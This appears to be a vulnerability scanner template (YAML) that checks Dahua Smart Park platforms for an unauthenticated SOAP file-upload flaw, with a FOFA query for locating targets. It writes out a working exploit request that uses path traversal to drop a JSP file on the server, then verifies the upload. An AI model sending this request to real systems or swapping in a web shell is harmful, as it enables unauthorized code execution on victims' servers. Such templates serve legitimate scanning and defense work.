dahua-zhyq-pio-fileupload: 大华智慧园区 前台 poi 文件上传

id: dahua-zhyq-pio-fileupload

info:
  name: 大华智慧园区 前台 poi 文件上传
  author: 5ddddd
  severity: critical
  description: |
    FOFA: app="dahua-智慧园区综合管理平台"
  verified: true
  tags: dahua,fileupload
  created: 2023/08/22

set:
  randstr: randomLowercase(20)
  r2: randomLowercase(32)
  randbody: base64(r2)
rules:
  r0:
    request:
      method: POST
      path: /emap/webservice/gis/soap/poi
      headers:
        Content-Type: text/xml;charset=UTF-8
      body: "\
        <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:res=\"http://response.webservice.poi.mapbiz.emap.dahuatech.com/\">\r\n\
        <soapenv:Header/>\r\n\
        <soapenv:Body>\r\n\
        <res:uploadPicFile>\r\n\
        <!--type: string-->\r\n\
        <arg0>/../../{{randstr}}.jsp</arg0>\r\n\
        <!--type: base64Binary-->\r\n\
        <arg1>{{randbody}}</arg1>\r\n\
        </res:uploadPicFile>\r\n\
        </soapenv:Body>\r\n\
        </soapenv:Envelope>\r\n\
          "
    expression: response.status == 200  && response.body.bcontains(b'xmlns:')
  r1:
    request:
      method: GET
      path: /upload/{{randstr}}.jsp
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(bytes(r2))
expression: r0() && r1()